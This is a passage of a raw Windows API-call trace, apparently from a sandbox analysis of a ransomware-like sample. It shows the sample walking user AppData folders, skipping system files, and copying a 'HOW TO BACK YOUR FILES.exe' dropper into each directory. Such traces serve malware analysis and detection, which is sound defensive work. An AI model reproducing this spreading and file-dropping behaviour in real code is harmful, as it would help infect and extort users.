ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0103.719] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0103.719] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1 [0103.719] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1 [0103.720] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1 [0103.720] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1 [0103.720] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1 [0103.720] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1 [0103.720] lstrlenW (lpString="Temporary Internet Files") returned 24 [0103.720] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0103.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5475a0 [0103.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x523aa0 [0103.720] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0103.720] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0103.720] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.721] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0103.722] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.722] ReleaseMutex (hMutex=0xec) returned 1 [0103.722] CloseHandle (hObject=0xec) returned 1 [0103.722] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\LocalLow") returned="C:\\Documents and Settings\\Default User\\AppData\\LocalLow" [0103.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc78 | out: hHeap=0x4f0000) returned 1 [0103.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ade0 | out: hHeap=0x4f0000) returned 1 [0103.722] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\AppData\\LocalLow") returned 55 [0103.722] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5DFA71796C673FDB717A69557A7C49F7") returned 0xec [0103.722] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.722] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\LocalLow") returned="C:\\Documents and Settings\\Default User\\AppData\\LocalLow" [0103.722] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.723] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\locallow\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.723] GetLastError () returned 0x0 [0103.723] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.723] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.724] CloseHandle (hObject=0xf4) returned 1 [0103.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.724] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.724] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\AppData\\LocalLow\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.724] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.724] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.724] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.724] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.724] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.724] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.724] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.724] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.724] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc77d1a20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.724] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.724] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe50eaea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe50eaea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0103.724] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0103.725] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0103.725] lstrlenW (lpString="Microsoft") returned 9 [0103.725] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ade0 [0103.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x515298 [0103.725] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.725] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.725] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe50eaea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe50eaea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0103.725] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.726] ReleaseMutex (hMutex=0xec) returned 1 [0103.726] CloseHandle (hObject=0xec) returned 1 [0103.726] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\Roaming") returned="C:\\Documents and Settings\\Default User\\AppData\\Roaming" [0103.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dcf0 | out: hHeap=0x4f0000) returned 1 [0103.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52adf8 | out: hHeap=0x4f0000) returned 1 [0103.726] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\AppData\\Roaming") returned 54 [0103.726] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2851F936AE879A8E1F8766727186A53E") returned 0xec [0103.726] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.726] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData\\Roaming") returned="C:\\Documents and Settings\\Default User\\AppData\\Roaming" [0103.726] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.726] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.727] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\roaming\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.727] GetLastError () returned 0x0 [0103.727] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.727] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.728] CloseHandle (hObject=0xf4) returned 1 [0103.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.728] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.728] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.728] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.728] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.728] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.728] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.728] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.728] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.728] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.728] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.728] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf42440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.728] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.728] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0103.728] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.728] lstrcmpiW (lpString1="Identities", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.728] lstrcmpiW (lpString1="Identities", lpString2=".") returned 1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="..") returned 1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="windows") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="bootmgr") returned 1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="temp") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="pagefile.sys") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="boot") returned 1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="ids.txt") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="ntuser.dat") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="perflogs") returned -1 [0103.729] lstrcmpiW (lpString1="Identities", lpString2="MSBuild") returned -1 [0103.729] lstrlenW (lpString="Identities") returned 10 [0103.729] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0103.729] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0103.729] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0103.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.729] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0103.730] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0103.730] lstrlenW (lpString="Microsoft") returned 9 [0103.730] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.730] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.730] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.730] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.731] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0103.731] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.731] ReleaseMutex (hMutex=0xec) returned 1 [0103.731] CloseHandle (hObject=0xec) returned 1 [0103.731] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data\\Identities") returned="C:\\Documents and Settings\\Default User\\Application Data\\Identities" [0103.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0103.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccf0 | out: hHeap=0x4f0000) returned 1 [0103.731] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Application Data\\Identities") returned 66 [0103.731] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\570E79A39D2F059EA82B7BD58225F611") returned 0xec [0103.731] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.731] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data\\Identities") returned="C:\\Documents and Settings\\Default User\\Application Data\\Identities" [0103.731] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.731] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.732] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\identities\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.732] GetLastError () returned 0x0 [0103.732] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.732] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.733] CloseHandle (hObject=0xf4) returned 1 [0103.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.733] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.733] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\Identities\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.733] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.733] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.733] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.733] FindNextFileW (in: hFindFile=0x529bd0, 